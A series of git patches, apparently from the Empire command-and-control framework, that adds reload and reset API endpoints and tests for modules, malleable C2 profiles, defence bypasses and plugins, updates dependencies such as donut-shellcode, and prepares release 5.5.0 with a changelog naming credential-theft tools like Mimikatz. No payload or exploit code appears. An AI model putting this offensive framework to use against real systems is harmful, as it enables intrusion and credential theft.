"sha256:f7f994a53c0e6b44a2966fd6bfc53e37d34b7dca34e75b6be295de6db598255e"}, - {file = "SQLAlchemy-2.0.15-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:79bfe728219239bdc493950ea4a4d15b02138ecb304771f9024d0d6f5f4e3706"}, - {file = "SQLAlchemy-2.0.15-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d6320a1d175447dce63618ec997a53836de48ed3b44bbe952f0b4b399b19941"}, - {file = "SQLAlchemy-2.0.15-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f80a9c9a9af0e4bd5080cc0955ce70274c28e9b931ad7e0fb07021afcd32af6"}, - {file = "SQLAlchemy-2.0.15-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:4a75fdb9a84072521bb2ebd31eefe1165d4dccea3039dda701a864f4b5daa17f"}, - {file = "SQLAlchemy-2.0.15-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:21c89044fc48a25c2184eba332edeffbbf9367913bb065cd31538235d828f06f"}, - {file = "SQLAlchemy-2.0.15-cp38-cp38-win32.whl", hash = "sha256:1a0754c2d9f0c7982bec0a31138e495ed1f6b8435d7e677c45be60ec18370acf"}, - {file = "SQLAlchemy-2.0.15-cp38-cp38-win_amd64.whl", hash = "sha256:bc5c2b0da46c26c5f73f700834f871d0723e1e882641932468d56833bab09775"}, - {file = "SQLAlchemy-2.0.15-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:670ecf74ee2e70b917028a06446ad26ff9b1195e84b09c3139c215123d57dc30"}, - {file = "SQLAlchemy-2.0.15-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d14282bf5b4de87f922db3c70858953fd081ef4f05dba6cca3dd705daffe1cc9"}, - {file = "SQLAlchemy-2.0.15-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:256b2b9660e51ad7055a9835b12717416cf7288afcf465107413917b6bb2316f"}, - {file = "SQLAlchemy-2.0.15-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:810199d1c5b43603a9e815ae9487aef3ab1ade7ed9c0c485e12519358929fbfe"}, - {file = "SQLAlchemy-2.0.15-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:536c86ec81ca89291d533ff41a3a05f9e4e88e01906dcee0751fc7082f3e8d6c"}, - {file = "SQLAlchemy-2.0.15-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:435f6807fa6a0597d84741470f19db204a7d34625ea121abd63e8d95f673f0c4"}, - {file = "SQLAlchemy-2.0.15-cp39-cp39-win32.whl", hash = "sha256:da7381a883aee20b7d2ffda17d909b38134b6a625920e65239a1c681881df800"}, - {file = "SQLAlchemy-2.0.15-cp39-cp39-win_amd64.whl", hash = "sha256:788d1772fb8dcd12091ca82809eef504ce0f2c423e45284bc351b872966ff554"}, - {file = "SQLAlchemy-2.0.15-py3-none-any.whl", hash = "sha256:933d30273861fe61f014ce2a7e3c364915f5efe9ed250ec1066ca6ea5942c0bd"}, - {file = "SQLAlchemy-2.0.15.tar.gz", hash = "sha256:2e940a8659ef870ae10e0d9e2a6d5aaddf0ff6e91f7d0d7732afc9e8c4be9bbc"}, + {file = "SQLAlchemy-2.0.16-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7641f6ed2682de84d77c4894cf2e43700f3cf7a729361d7f9cac98febf3d8614"}, + {file = "SQLAlchemy-2.0.16-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8d3cbdb2f07fb0e4b897dc1df39166735e194fb946f28f26f4c9f9801c8b24f7"}, + {file = "SQLAlchemy-2.0.16-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a08a791c75d6154d46914d1e23bd81d9455f2950ec1de81f2723848c593d2c8b"}, + {file = "SQLAlchemy-2.0.16-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:91eb8f89fcce8f709f8a4d65d265bc48a80264ee14c7c9e955f3222f19b4b39c"}, + {file = "SQLAlchemy-2.0.16-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:fc1dae11bd5167f9eb53b3ccad24a79813004612141e76de21cf4c028dc30b34"}, + {file = "SQLAlchemy-2.0.16-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b2801f85c5c0293aa710f8aa5262c707a83c1c203962ae5a22b4d9095e71aa9d"}, + {file = "SQLAlchemy-2.0.16-cp310-cp310-win32.whl", hash = "sha256:c5e333b81fe10d14efebd4e9429b7bb865ed9463ca8bef07a7136dfa1fd4a37b"}, + {file = "SQLAlchemy-2.0.16-cp310-cp310-win_amd64.whl", hash = "sha256:f387b496a4c9474d8580195bb2660264a3f295a04d3a9d00f4fa15e9e597427e"}, + {file = "SQLAlchemy-2.0.16-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:7be04dbe3470fe8dd332fdb48c979887c381ef6c635eddf2dec43d2766111be4"}, + {file = "SQLAlchemy-2.0.16-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f2938edc512dd1fa48653e14c1655ab46144d4450f0e6b33da7acd8ba77fbfd7"}, + {file = "SQLAlchemy-2.0.16-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5a2856e12cf5f54301ddf043bcbf0552561d61555e1bcf348b63f42b8e1eec2"}, + {file = "SQLAlchemy-2.0.16-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90d320fde566b864adbc19abb40ecb80f4e25d6f084639969bb972d5cca16858"}, + {file = "SQLAlchemy-2.0.16-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:6e85e315725807c127ad8ba3d628fdb861cf9ebfb0e10c39a97c01e257cdd71b"}, + {file = "SQLAlchemy-2.0.16-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:63ea36c08792a7a8a08958bc806ecff6b491386feeaf14607c3d9d2d9325e67f"}, + {file = "SQLAlchemy-2.0.16-cp311-cp311-win32.whl", hash = "sha256:bdaf89dd82f4a0e1b8b5ffc9cdc0c9551be6175f7eee5af6a838e92ba2e57100"}, + {file = "SQLAlchemy-2.0.16-cp311-cp311-win_amd64.whl", hash = "sha256:5a934eff1a2882137be3384826f997db8441d43b61fda3094923e69fffe474be"}, + {file = "SQLAlchemy-2.0.16-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:fbcc51fdbc89fafe4f4fe66f59372a8be88ded04de34ef438ab04f980beb12d4"}, + {file = "SQLAlchemy-2.0.16-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ff6496ad5e9dc8baeb93a151cc2f599d01e5f8928a2aaf0b09a06428fdbaf553"}, + {file = "SQLAlchemy-2.0.16-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d6ef848e5afcd1bda3e9a843751f845c0ca888b61e669237680e913d84ec206"}, + {file = "SQLAlchemy-2.0.16-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:3ef876615ff4b53e2033022195830ec4941a6e21068611f8d77de60203b90a98"}, + {file = "SQLAlchemy-2.0.16-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:8544c6e62eacb77d5106e2055ef10f2407fc0dbd547e879f8745b2032eefd2bc"}, + {file = "SQLAlchemy-2.0.16-cp37-cp37m-win32.whl", hash = "sha256:2f3b6c31b915159b96b68372212fa77f69230b0a32acab40cf539d2823954f5a"}, + {file = "SQLAlchemy-2.0.16-cp37-cp37m-win_amd64.whl", hash = "sha256:d0c96592f54edd571e00ba6b1ed5df8263328ca1da9e78088c0ebc93c2e6562c"}, + {file = "SQLAlchemy-2.0.16-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a2e9f50a906d0b81292576a9fb458f8cace904c81a67088f4a2ca9ff2856f55d"}, + {file = "SQLAlchemy-2.0.16-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:dc97238fa44be86971270943a0c21c19ce18b8d1596919048e57912e8abc02cc"}, + {file = "SQLAlchemy-2.0.16-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0db6734cb5644c55d0262a813b764c6e2cda1e66e939a488b3d6298cdc7344c2"}, + {file = "SQLAlchemy-2.0.16-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:131f0c894c6572cb1bdcf97c92d999d3128c4ff1ca13061296057072f61afe13"}, + {file = "SQLAlchemy-2.0.16-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f662cf69484c59f8a3435902c40dfc34d86050bdb15e23d437074ce9f153306b"}, + {file = "SQLAlchemy-2.0.16-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b72f4e4def50414164a1d899f2ce4e782a029fad0ed5585981d1611e8ae29a74"}, + {file = "SQLAlchemy-2.0.16-cp38-cp38-win32.whl", hash = "sha256:0e4645b260cfe375a0603aa117f0a47680864cf37833129da870919e88b08d8f"}, + {file = "SQLAlchemy-2.0.16-cp38-cp38-win_amd64.whl", hash = "sha256:f409f35a0330ab0cb18ece736b86d8b8233c64f4461fcb10993f67afc0ac7e5a"}, + {file = "SQLAlchemy-2.0.16-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:e19546924f0cf2ec930d1faf318b7365e5827276410a513340f31a2b423e96a4"}, + {file = "SQLAlchemy-2.0.16-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ce1fc3f64fd42d5f763d6b83651471f32920338a1ba107a3186211474861af57"}, + {file = "SQLAlchemy-2.0.16-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e2569dac4e3cb85365b91ab569d06a221e0e17e65ce59949d00c3958946282b"}, + {file = "SQLAlchemy-2.0.16-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:61f2035dea56ff1a429077e481496f813378beb02b823d2e3e7eb05bc1a7a8ca"}, + {file = "SQLAlchemy-2.0.16-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:81d867c1be5abd49f7e547c108391f371a9d980ba7ec34666c50d683f782b754"}, + {file = "SQLAlchemy-2.0.16-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:2de1477af7f48c633b8ecb88245aedd811dca88e88aee9e9d787b388abe74c44"}, + {file = "SQLAlchemy-2.0.16-cp39-cp39-win32.whl", hash = "sha256:5e8522b49e0e640287308b68f71cc338446bbe1c226c8f81743baa91b0246e92"}, + {file = "SQLAlchemy-2.0.16-cp39-cp39-win_amd64.whl", hash = "sha256:43e69c8c1cea0188b7094e22fb93ae1a1890aac748628b7e925024a206f75368"}, + {file = "SQLAlchemy-2.0.16-py3-none-any.whl", hash = "sha256:53081c6fce0d49bb36d05f12dc87e008c9b0df58a163b792c5fc4ac638925f98"}, + {file = "SQLAlchemy-2.0.16.tar.gz", hash = "sha256:1e2caba78e7d1f5003e88817b7a1754d4e58f4a8f956dc423bf8e304c568ab09"}, ] [package.dependencies] @@ -1927,6 +1932,7 @@ postgresql-pg8000 = ["pg8000 (>=1.29.1)"] postgresql-psycopg = ["psycopg (>=3.0.7)"] postgresql-psycopg2binary = ["psycopg2-binary"] postgresql-psycopg2cffi = ["psycopg2cffi"] +postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"] pymysql = ["pymysql"] sqlcipher = ["sqlcipher3-binary"] @@ -2123,13 +2129,13 @@ files = [ [[package]] name = "websocket-client" -version = "1.5.2" +version = "1.6.0" description = "WebSocket client for Python with low level API options" optional = false python-versions = ">=3.7" files = [ - {file = "websocket-client-1.5.2.tar.gz", hash = "sha256:c7d67c13b928645f259d9b847ab5b57fd2d127213ca41ebd880de1f553b7c23b"}, - {file = "websocket_client-1.5.2-py3-none-any.whl", hash = "sha256:f8c64e28cd700e7ba1f04350d66422b6833b82a796b525a51e740b8cc8dab4b1"}, + {file = "websocket-client-1.6.0.tar.gz", hash = "sha256:e84c7eafc66aade6d1967a51dfd219aabdf81d15b9705196e11fd81f48666b78"}, + {file = "websocket_client-1.6.0-py3-none-any.whl", hash = "sha256:72d7802608745b0a212f79b478642473bd825777d8637b6c8c421bf167790d4f"}, ] [package.extras] @@ -2365,5 +2371,5 @@ testing = ["coverage (>=5.0.3)", "zope.event", "zope.testing"] [metadata] lock-version = "2.0" -python-versions = "^3.8" -content-hash = "254c7101e8dc036480f733a20ffce47d3de5211addea414cb85de96cfed4af29" +python-versions = ">=3.8,<3.12" +content-hash = "cfcff7bd0b25021fded74e06723ff1adadecf630872cfe5cfc73cd5742a05bbd" diff --git a/pyproject.toml b/pyproject.toml index 87d3a0106..c35afa451 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -13,14 +13,13 @@ packages = [ ] [tool.poetry.dependencies] -python = "^3.8" +python = ">=3.8,<3.12" urllib3 = "*" requests = "^2.24.0" iptools = "*" macholib = "*" dropbox = "*" pyOpenSSL = "*" -pyinstaller = "*" zlib_wrapper = "^0.1.3" netifaces = "*" jinja2 = "*" @@ -53,6 +52,7 @@ Flask = "^2.1.2" pysecretsocks = {git = "https://github.com/BC-SECURITY/PySecretSOCKS.git"} donut-shellcode = "^1.0.2" python-obfuscator = "^0.0.2" +pyinstaller = "^5.12" [tool.poetry.dev-dependencies] isort = "^5.10.1" From 3ec43ac4ca9bf7bdca6fd0a2e1251338660294d5 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Tue, 20 Jun 2023 23:35:56 -0400 Subject: [PATCH 16/36] Added reload ability to modules, profiles, bypasses, and plugins (#641) * added reset for malleable profiles * added reload functions to server with tests * changelog * added reload first to test to avoid auto increment error * added reset vs reload * switch test order to reset then reload * Added comment * Update empire/server/core/bypass_service.py Co-authored-by: Vincent Rose * Update empire/test/test_module_api.py Co-authored-by: Vincent Rose * Update empire/test/test_profile_api.py Co-authored-by: Vincent Rose * Update empire/server/api/v2/module/module_api.py Co-authored-by: Vincent Rose * Update empire/server/api/v2/module/module_api.py Co-authored-by: Vincent Rose * fixed test return codes * added reset to fix module_service test isuee * made fixes for vinnybod --------- Co-authored-by: Vincent Rose --- CHANGELOG.md | 2 +- empire/server/api/v2/bypass/bypass_api.py | 11 +++++ empire/server/api/v2/module/module_api.py | 15 ++++++ empire/server/api/v2/plugin/plugin_api.py | 7 +++ empire/server/api/v2/profile/profile_api.py | 23 +++++++++ empire/server/core/bypass_service.py | 8 ++- empire/server/core/module_service.py | 14 +++++- empire/server/core/profile_service.py | 9 +++- empire/test/test_bypass_api.py | 45 +++++++++++++++++ empire/test/test_module_api.py | 48 ++++++++++++++++++ empire/test/test_plugin_api.py | 17 +++++++ empire/test/test_profile_api.py | 55 +++++++++++++++++++++ 12 files changed, 247 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 949a569c4..39d5dbb05 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -35,9 +35,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Allow the server to start even when starkiller sync fails (@Vinnybod) - Remove libssl1.1 from the install script since it doesn't appear to be needed and causes install failures on some OS (@Vinnybod) - Fix the restip argument which wasn't being used (@Vinnybod) +- Added reload endpoint to Malleable Profiles, Modules, Bypasses, and Plugins (@Cx01N) - Updated and fixed pyinstaller stager (@Cx01N) - ## [5.4.2] - 2023-06-07 - Fixed python modules not running properly (Cx01N) diff --git a/empire/server/api/v2/bypass/bypass_api.py b/empire/server/api/v2/bypass/bypass_api.py index 4c3440364..6318b7b01 100644 --- a/empire/server/api/v2/bypass/bypass_api.py +++ b/empire/server/api/v2/bypass/bypass_api.py @@ -83,3 +83,14 @@ async def delete_bypass( db_bypass: models.Bypass = Depends(get_bypass), ): bypass_service.delete_bypass(db, db_bypass) + + +@router.post("/reset", status_code=HTTP_204_NO_CONTENT, response_class=Response) +async def reset_bypasses(db: Session = Depends(get_db)): + bypass_service.delete_all_bypasses(db) + bypass_service.load_bypasses(db) + + +@router.post("/reload", status_code=HTTP_204_NO_CONTENT, response_class=Response) +async def reload_bypasses(db: Session = Depends(get_db)): + bypass_service.load_bypasses(db) diff --git a/empire/server/api/v2/module/module_api.py b/empire/server/api/v2/module/module_api.py index b256001e5..256f0bbc0 100644 --- a/empire/server/api/v2/module/module_api.py +++ b/empire/server/api/v2/module/module_api.py @@ -89,3 +89,18 @@ async def update_bulk_enable( module_req: ModuleBulkUpdateRequest, db: Session = Depends(get_db) ): module_service.update_modules(db, module_req) + + +@router.post("/reload", status_code=204, response_class=Response) +async def reload_modules( + db: Session = Depends(get_db), +): + module_service.load_modules(db) + + +@router.post("/reset", status_code=204, response_class=Response) +async def reset_modules( + db: Session = Depends(get_db), +): + module_service.delete_all_modules(db) + module_service.load_modules(db) diff --git a/empire/server/api/v2/plugin/plugin_api.py b/empire/server/api/v2/plugin/plugin_api.py index a229de7be..aaa4c127c 100644 --- a/empire/server/api/v2/plugin/plugin_api.py +++ b/empire/server/api/v2/plugin/plugin_api.py @@ -1,5 +1,6 @@ from fastapi import Depends, HTTPException from sqlalchemy.orm import Session +from starlette.responses import Response from empire.server.api.api_router import APIRouter from empire.server.api.jwt_auth import get_current_active_user, get_current_user @@ -69,3 +70,9 @@ async def execute_plugin( if err: raise HTTPException(status_code=400, detail=err) return {} if results is None else {"detail": results} + + +@router.post("/reload", status_code=204, response_class=Response) +async def reload_plugins(db: Session = Depends(get_db)): + plugin_service.shutdown() + plugin_service.startup_plugins(db) diff --git a/empire/server/api/v2/profile/profile_api.py b/empire/server/api/v2/profile/profile_api.py index 9b0ac3334..8987af879 100644 --- a/empire/server/api/v2/profile/profile_api.py +++ b/empire/server/api/v2/profile/profile_api.py @@ -92,3 +92,26 @@ async def delete_profile( db_profile: models.Profile = Depends(get_profile), ): profile_service.delete_profile(db, db_profile) + + +@router.post( + "/reload", + status_code=HTTP_204_NO_CONTENT, + response_class=Response, +) +async def reload_profiles( + db: Session = Depends(get_db), +): + profile_service.load_malleable_profiles(db) + + +@router.post( + "/reset", + status_code=HTTP_204_NO_CONTENT, + response_class=Response, +) +async def reset_profiles( + db: Session = Depends(get_db), +): + profile_service.delete_all_profiles(db) + profile_service.load_malleable_profiles(db) diff --git a/empire/server/core/bypass_service.py b/empire/server/core/bypass_service.py index c1407a7ed..423388369 100644 --- a/empire/server/core/bypass_service.py +++ b/empire/server/core/bypass_service.py @@ -17,9 +17,9 @@ def __init__(self, main_menu): self.main_menu = main_menu with SessionLocal.begin() as db: - self._load_bypasses(db) + self.load_bypasses(db) - def _load_bypasses(self, db: Session): + def load_bypasses(self, db: Session): root_path = f"{self.main_menu.installPath}/bypasses/" log.info(f"v2: Loading bypasses from: {root_path}") @@ -102,3 +102,7 @@ def update_bypass(self, db: Session, db_bypass: models.Bypass, bypass_req): db.flush() return db_bypass, None + + def delete_all_bypasses(self, db: Session): + db.query(models.Bypass).delete() + db.flush() diff --git a/empire/server/core/module_service.py b/empire/server/core/module_service.py index 8157d26bc..1bbb4acf4 100644 --- a/empire/server/core/module_service.py +++ b/empire/server/core/module_service.py @@ -35,7 +35,7 @@ def __init__(self, main_menu): self.modules = {} with SessionLocal.begin() as db: - self._load_modules(db) + self.load_modules(db) def get_all(self): return self.modules @@ -435,7 +435,7 @@ def _create_modified_module(self, module: EmpireModule, modified_input: str): return modified_module - def _load_modules(self, db: Session): + def load_modules(self, db: Session): """ Load Empire modules. """ @@ -613,3 +613,13 @@ def finalize_module( @staticmethod def slugify(module_name: str): return module_name.lower().replace("/", "_") + + def delete_all_modules(self, db: Session): + for module in list(self.modules.values()): + db_module: models.Module = ( + db.query(models.Module).filter(models.Module.id == module.id).first() + ) + if db_module: + db.delete(db_module) + del self.modules[module.id] + db.flush() diff --git a/empire/server/core/profile_service.py b/empire/server/core/profile_service.py index d6038ca98..c66783ebc 100644 --- a/empire/server/core/profile_service.py +++ b/empire/server/core/profile_service.py @@ -15,9 +15,9 @@ def __init__(self, main_menu): self.main_menu = main_menu with SessionLocal.begin() as db: - self._load_malleable_profiles(db) + self.load_malleable_profiles(db) - def _load_malleable_profiles(self, db: Session): + def load_malleable_profiles(self, db: Session): """ Load Malleable C2 Profiles to the database """ @@ -102,3 +102,8 @@ def update_profile(db: Session, db_profile: models.Profile, profile_req): db.flush() return db_profile, None + + @staticmethod + def delete_all_profiles(db: Session): + db.query(models.Profile).delete() + db.flush() diff --git a/empire/test/test_bypass_api.py b/empire/test/test_bypass_api.py index 2879fd213..ca491b7ce 100644 --- a/empire/test/test_bypass_api.py +++ b/empire/test/test_bypass_api.py @@ -91,3 +91,48 @@ def test_delete_bypass(client, admin_auth_header): response = client.get("/api/v2/bypasses/1", headers=admin_auth_header) assert response.status_code == 404 + + +def test_reset_bypasses(client, admin_auth_header): + response = client.post("/api/v2/bypasses/reset", headers=admin_auth_header) + assert response.status_code == 204 + + initial_response = client.get("/api/v2/bypasses", headers=admin_auth_header) + initial_bypasses = initial_response.json()["records"] + + response = client.post( + "/api/v2/bypasses", + headers=admin_auth_header, + json={"name": "Test Bypass", "code": "x=0;", "language": "powershell"}, + ) + assert response.status_code == 201 + + response = client.post("/api/v2/bypasses/reset", headers=admin_auth_header) + assert response.status_code == 204 + + final_response = client.get("/api/v2/bypasses", headers=admin_auth_header) + final_bypasses = final_response.json()["records"] + + assert len(initial_bypasses) == len(final_bypasses) + + +def test_reload_bypasses(client, admin_auth_header): + response = client.post( + "/api/v2/bypasses", + headers=admin_auth_header, + json={"name": "Test Bypass", "code": "x=0;", "language": "powershell"}, + ) + assert response.status_code == 201 + new_bypass_id = response.json()["id"] + + initial_response = client.get("/api/v2/bypasses", headers=admin_auth_header) + initial_bypasses = initial_response.json()["records"] + + response = client.post("/api/v2/bypasses/reload", headers=admin_auth_header) + assert response.status_code == 204 + + final_response = client.get("/api/v2/bypasses", headers=admin_auth_header) + final_bypasses = final_response.json()["records"] + + assert len(initial_bypasses) == len(final_bypasses) + assert any(bypass["id"] == new_bypass_id for bypass in final_bypasses) diff --git a/empire/test/test_module_api.py b/empire/test/test_module_api.py index 3e45d77e2..07862b6e9 100644 --- a/empire/test/test_module_api.py +++ b/empire/test/test_module_api.py @@ -112,3 +112,51 @@ def test_update_modules_bulk(client, admin_auth_header): ) assert response.status_code == 204 + + +def test_reset_modules(client, admin_auth_header): + initial_response = client.get("/api/v2/modules", headers=admin_auth_header) + initial_modules = initial_response.json()["records"] + + uid = "python_trollsploit_osx_say" + response = client.put( + f"/api/v2/modules/{uid}", headers=admin_auth_header, json={"enabled": False} + ) + assert response.status_code == 200 + + response = client.post("/api/v2/modules/reset", headers=admin_auth_header) + assert response.status_code == 204 + + final_response = client.get("/api/v2/modules", headers=admin_auth_header) + final_modules = final_response.json()["records"] + + assert len(initial_modules) == len(final_modules) + + response = client.get(f"/api/v2/modules/{uid}", headers=admin_auth_header) + assert response.json()["enabled"] is True + + +def test_reload_modules(client, admin_auth_header): + uid = "python_trollsploit_osx_say" + response = client.put( + f"/api/v2/modules/{uid}", headers=admin_auth_header, json={"enabled": False} + ) + assert response.status_code == 200 + + initial_response = client.get("/api/v2/modules", headers=admin_auth_header) + initial_modules = initial_response.json()["records"] + + response = client.post("/api/v2/modules/reload", headers=admin_auth_header) + assert response.status_code == 204 + + final_response = client.get("/api/v2/modules", headers=admin_auth_header) + final_modules = final_response.json()["records"] + + assert len(initial_modules) == len(final_modules) + + response = client.get(f"/api/v2/modules/{uid}", headers=admin_auth_header) + assert response.json()["enabled"] is False + + # Adding a reset here, so it doesn't break other tests in test_module_service + response = client.post("/api/v2/modules/reset", headers=admin_auth_header) + assert response.status_code == 204 diff --git a/empire/test/test_plugin_api.py b/empire/test/test_plugin_api.py index f88d74b4b..cae9b0dda 100644 --- a/empire/test/test_plugin_api.py +++ b/empire/test/test_plugin_api.py @@ -97,3 +97,20 @@ def test_execute_plugin(client, admin_auth_header, main): assert response.status_code == 200 assert response.json() == {"detail": "Successful Execution"} + + +def test_reload_plugins(client, admin_auth_header): + # Get initial list of plugins + initial_response = client.get("/api/v2/plugins", headers=admin_auth_header) + initial_plugins = initial_response.json()["records"] + + # Call the reload plugins endpoint + response = client.post("/api/v2/plugins/reload", headers=admin_auth_header) + assert response.status_code == 204 + + # Get the list of plugins after reloading + final_response = client.get("/api/v2/plugins", headers=admin_auth_header) + final_plugins = final_response.json()["records"] + + # The initial and final list of plugins should be the same after reload + assert len(initial_plugins) == len(final_plugins) diff --git a/empire/test/test_profile_api.py b/empire/test/test_profile_api.py index bb23168b8..7fb093405 100644 --- a/empire/test/test_profile_api.py +++ b/empire/test/test_profile_api.py @@ -63,3 +63,58 @@ def test_delete_profile(client, admin_auth_header): response = client.get("/api/v2/malleable-profiles/1", headers=admin_auth_header) assert response.status_code == 404 + + +def test_reset_profiles(client, admin_auth_header): + response = client.post( + "/api/v2/malleable-profiles/reset", headers=admin_auth_header + ) + assert response.status_code == 204 + + initial_response = client.get( + "/api/v2/malleable-profiles", headers=admin_auth_header + ) + initial_profiles = initial_response.json()["records"] + + response = client.post( + "/api/v2/malleable-profiles", + headers=admin_auth_header, + json={"name": "Test Profile", "category": "cat", "data": "x=0;"}, + ) + assert response.status_code == 201 + + response = client.post( + "/api/v2/malleable-profiles/reset", headers=admin_auth_header + ) + assert response.status_code == 204 + + final_response = client.get("/api/v2/malleable-profiles", headers=admin_auth_header) + final_profiles = final_response.json()["records"] + + assert len(initial_profiles) == len(final_profiles) + + +def test_reload_profiles(client, admin_auth_header): + response = client.post( + "/api/v2/malleable-profiles", + headers=admin_auth_header, + json={"name": "Test Profile", "category": "cat", "data": "x=0;"}, + ) + assert response.status_code == 201 + new_profile_id = response.json()["id"] + + initial_response = client.get( + "/api/v2/malleable-profiles", headers=admin_auth_header + ) + initial_profiles = initial_response.json()["records"] + + response = client.post( + "/api/v2/malleable-profiles/reload", headers=admin_auth_header + ) + assert response.status_code == 204 + + final_response = client.get("/api/v2/malleable-profiles", headers=admin_auth_header) + final_profiles = final_response.json()["records"] + + assert len(initial_profiles) == len(final_profiles) + assert any(profile["id"] == new_profile_id for profile in final_profiles) From 161b407ad362ec164c6b843a8b002f3a7d8915bd Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Wed, 21 Jun 2023 03:37:54 +0000 Subject: [PATCH 17/36] Prepare release 5.5.0 private --- CHANGELOG.md | 22 +++++++++++++--------- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 15 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 39d5dbb05..8177ac191 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [5.5.0] - 2023-06-21 + - Break out agent checkins to a new table (@Vinnybod) - New checkins endpoint to get them as a list - New checkins aggregate endpoint to get aggregated checkin data @@ -23,14 +25,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed safecheck error for python module sudo spawn (@Cx01N) - Fixed file error in Invoke-Shellcode (@Cx01N) - Removed duplicate modules between languages (@Cx01N) - - Removed .NET Core modules due to errors - - Removed redundant C# lateral movement modules - - Removed Covenant Mimikatz in favor of Invoke-Mimikatz - - Removed Invoke-Assembly in favor of Covenant's execute assembly - - Removed Invoke-BOF in favor of RunOF - - Removed Invoke-Rubeus in favor of Covenant's Rubeus - - Removed Invoke-Seatbelt in favor of Covenant's Seatbelt - - Removed Bloodhound v1 module + - Removed .NET Core modules due to errors + - Removed redundant C# lateral movement modules + - Removed Covenant Mimikatz in favor of Invoke-Mimikatz + - Removed Invoke-Assembly in favor of Covenant's execute assembly + - Removed Invoke-BOF in favor of RunOF + - Removed Invoke-Rubeus in favor of Covenant's Rubeus + - Removed Invoke-Seatbelt in favor of Covenant's Seatbelt + - Removed Bloodhound v1 module - Revamped malleable profiles and increased their generation reliability (@Cx01N) - Allow the server to start even when starkiller sync fails (@Vinnybod) - Remove libssl1.1 from the install script since it doesn't appear to be needed and causes install failures on some OS (@Vinnybod) @@ -518,7 +520,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.4.2...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.0...HEAD + +[5.5.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.4.2...v5.5.0 [5.4.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.4.1...v5.4.2 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 66c4b7d72..ecb62d751 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -39,7 +39,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.4.2 BC Security Fork" +VERSION = "5.5.0 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index c35afa451..01a9e2ef9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.4.2" +version = "5.5.0" description = "" authors = ["BC Security "] readme = "README.md" From 8b3f5406c190de0c20559ffe2328ea8857f9d6f0 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Tue, 20 Jun 2023 21:21:48 -0700 Subject: [PATCH 18/36] fix order for sponsors 